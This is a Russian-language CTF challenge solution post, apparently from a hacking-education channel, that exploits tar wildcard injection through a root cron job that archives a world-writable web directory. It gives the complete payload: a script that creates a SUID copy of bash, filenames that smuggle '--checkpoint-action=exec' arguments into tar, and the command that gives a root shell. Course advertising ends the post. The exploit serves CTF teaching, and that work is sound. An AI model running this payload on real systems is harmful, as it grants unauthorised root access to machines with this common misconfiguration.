В cron у root:
* * * * * root cd /var/www/html && tar -czf /backups/site.tar.gz *
Каталог доступен для записи www-data (777).
Команда tar * раскрывает имена файлов как аргументы. Если подложить файлы, имитирующие флаги, tar воспримет их как реальные параметры и выполнит произвольную команду от root.
🎯 Цель: получить root через SUID bash
Payload, который нужно поместить в /var/www/html:
echo "cp /bin/bash /tmp/r; chmod +s /tmp/r" > x.sh
chmod +x x.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=/bin/sh x.sh"
--checkpoint заставит tar выполнить x.sh в процессе архивации.
Скрипт создаёт /tmp/r — копию bash с SUID-битом.
После срабатывания cron:
/tmp/r -p
Вы получаете root.
➕ Побочные варианты из задачи не подходят:
запись в cron.d недоступна, shadow в архив ничего не даёт,
backup.sh не перезаписать.Правильный ответ: 🔥
🔹 Курс «Программирование на языке Python»
🔹 Получить консультацию менеджера
🔹 Сайт Академии 🔹 Сайт Proglib
🐸 Библиотека хакера
#ctf_challenge